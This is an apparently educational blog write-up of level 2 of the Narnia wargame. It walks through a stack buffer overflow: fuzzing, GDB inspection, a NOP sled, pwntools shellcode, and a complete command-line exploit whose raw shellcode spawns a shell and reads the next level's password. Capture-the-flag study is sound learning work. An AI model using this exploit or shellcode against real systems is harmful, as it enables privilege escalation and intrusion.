Hacking: The Narnia Wargames, Level 2: Smashing The Stack...

in #hacking7 years ago

stackofnops.png
Image: finding our NOP Sled using GDB...

So, previously we covered playing (and winning) levels 0 and 1 of the Narnia wargames. Today, I am going to talk to you about how we defeated level 2.

I want to get this writeup out of the way quickly, as I have some interesting changes to make to the structure/layout of my writeups that you might enjoy.

In a followup post to this, probably tomorrow, I'll go back over levels 0-2, inclusive, taking you through how exactly we can go about writing an automatic exploit testing framework for beating these games. We will later use a similar framework to defeat the Natas web challenge wargames when I get around to writing up those challenges.

So for this challenge, yet again we are relying on the "pwntools" library for generating shellcode. We will also be exploring the concepts of "return addresses", "NOP Sleds", and injecting shellcode via simple stack-buffer overflows, so it is all terribly exciting stuff.

The program we are exploiting is as follows:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
 
int main(int argc, char * argv[]){
    char buf[128];
 
    if(argc == 1){
        printf("Usage: %s argument\n", argv[0]);
        exit(1);
    }
    strcpy(buf,argv[1]);
    printf("%s", buf);
 
    return 0;
}

As you can see, this program creates a static char buffer of size 128 on the stack, shoves user input (argv[1]) into it using strcpy, and then calls the buffer using printf. At no point does it do any bounds checking on the stuff shoved into the stack buffer to ensure it is of the right size.

This kind of vulnerability is pretty trivial to exploit. We need to find the following things:

  1. How much crap can we send the program so that it crashes?
  2. How long a string do we need to send it so that we over-write the EIP (Extended Instruction Pointer) and gain control over execution?
  3. How much shellcode can we fit in there?
  4. Can we reliably direct execution flow to a controlled location where our shellcode will be?

So, to answer these questions, we fuzz it by sending it some long strings, using Python, to make the program crash...

narnia2@narnia:/narnia$ ./narnia2 $(python -c "print 'A'*140")
Illegal instruction
narnia2@narnia:/narnia$ ./narnia2 $(python -c "print 'A'*142")
Segmentation fault
narnia2@narnia:/narnia$ ./narnia2 $(python -c "print 'A'*141")
Segmentation fault
narnia2@narnia:/narnia$ ./narnia2 $(python -c "print 'A'*140")
Illegal instruction
narnia2@narnia:/narnia$ ./narnia2 $(python -c "print 'A'*139")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

So we know that at 140 characters it registers an "Illegal Instruction", and beyond that, it crashes. So at this point, memory corruption is happening. So, lets try it with 140 characters in GDB and see what is happening here.

narnia2@narnia:/narnia$ gdb -q ./narnia2
Reading symbols from ./narnia2...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x8048460
(gdb) r $(python -c 'print "A"*140')
Starting program: /narnia/narnia2 $(python -c 'print "A"*140')

Breakpoint 1, 0x08048460 in main ()
(gdb) next
Single stepping until exit from function main,
which has no line number information.
0xf7e3ca00 in __libc_start_main () from /lib32/libc.so.6
(gdb) next
Single stepping until exit from function __libc_start_main,
which has no line number information.

Program received signal SIGILL, Illegal instruction.
0xf7e3ca00 in __libc_start_main () from /lib32/libc.so.6
(gdb) i r
eax            0x0  0
ecx            0x0  0
edx            0xf7fcd898   -134424424
ebx            0xf7fcc000   -134430720
esp            0xffffd6b0   0xffffd6b0
ebp            0x41414141   0x41414141
esi            0x0  0
edi            0x0  0
eip            0xf7e3ca00   0xf7e3ca00 <__libc_start_main+32>
eflags         0x10282  [ SF IF RF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99
(gdb) 

At 140 characters, we get EBP being clobbered with our value. Lets try 144 characters.

The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia2 $(python -c 'print "A"*144')

Breakpoint 1, 0x08048460 in main ()
(gdb) next
Single stepping until exit from function main,
which has no line number information.
0x41414141 in ?? ()
(gdb) i r
eax            0x0  0
ecx            0x0  0
edx            0xf7fcd898   -134424424
ebx            0xf7fcc000   -134430720
esp            0xffffd6a0   0xffffd6a0
ebp            0x41414141   0x41414141
esi            0x0  0
edi            0x0  0
eip            0x41414141   0x41414141
eflags         0x282    [ SF IF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs       

So at 144 chars, we have control over EIP, and therefore, control over the flow of execution. We also now know that if we save 4 chars for our return address, we have 140 chars to jam in our shellcode and junk.

Now, mind, finding a return address that points exactly at the start of our shellcode seems a bit of a chore. So we use a "Nop Sled" as our junk padding instead, being a bit lazy. So we go back and re-run the crash with 144 "nops", or "\x90" instead of "A" or "\x41". The reason we use nops, is because the program won't fault, and will just run along our nopsled until it hits our shellcode, giving us a super easy win. We look in the program for an offset we can use that is gonna be in the middle of our Nop Sled, so that we can use said offset as our return address in the exploit.

(gdb) r $(python -c 'print "\x90"*144')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia2 $(python -c 'print "\x90"*144')

Breakpoint 1, 0x08048460 in main ()
(gdb) next
Single stepping until exit from function main,
which has no line number information.
0x90909090 in ?? ()
(gdb) x/250x $esp
< SNIPPED >
0xffffd840: 0x633bab4c  0xa39904d5  0x69e50cb1  0x00363836
0xffffd850: 0x00000000  0x00000000  0x00000000  0x6e2f0000
0xffffd860: 0x696e7261  0x616e2f61  0x61696e72  0x90900032
0xffffd870: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd880: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd890: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd8a0: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd8b0: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd8c0: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd8d0: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd8e0: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd8f0: 0x90909090  0x90909090  0x90909090  0x53009090
0xffffd900: 0x4c4c4548  0x69622f3d  0x61622f6e  0x54006873
< SNIPPED >
(gdb) 

As you can see, there is a nice segment of memory there full of 0x90909090. This is our NOP sled. So we take our shellcode from last time around, and have a think about how best to use it. Lets open a Python prompt and think about how to construct our exploit.

First, we generate our shellcode, and work out how long it is gonna be.

>>> from pwn import *
>>> shellcode = asm(pwnlib.shellcraft.linux.sh())
>>> print len(shellcode)
44
>>> 

So, we need 44 bytes for shellcode, 4 for our return address, and that leaves... Some for our NOP sled. Our total space is 144, so this leaves 96 for our NOP sled. We pick a nice return address in the NOP buffer to test drive... In this case, 0xffffd8b0 seemed like an alright candiate. So we go and generate our exploit, which is basically "NOPS+SHELLCODE+RETURN_ADDRESS" and see if it worked!

narnia2@narnia:~$ /narnia/narnia2 $(python -c 'print "\x90"*96+"\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x68\x01\x01\x01\x01\x81\x34\x24\x72\x69\x01\x01\x31\xc9\x51\x6a\x04\x59\x01\xe1\x51\x89\xe1\x31\xd2\x6a\x0b\x58\xcd\x80"+"\xb0\xd8\xff\xff"')
$ id
uid=14002(narnia2) gid=14002(narnia2) euid=14003(narnia3) groups=14003(narnia3),14002(narnia2)
$ cat /etc/narnia_pass/narnia3
[REDACTED]
$ 

It works! Again, note how we ended up with the euid of "narnia3" and we were able to read the flag! We have now defeated level 2, and can move on. In the next writeup, I'll show how to automate some of the process of testing the exploit out. As we go along, I am hoping we can slowly begin to automate more and more of this process.

As always, any feedback or suggestions is highly desirable, along with any questions, which I will endeavour to answer!

Sort:  

This post has received a 0.78 % upvote from @drotto thanks to: @banjo.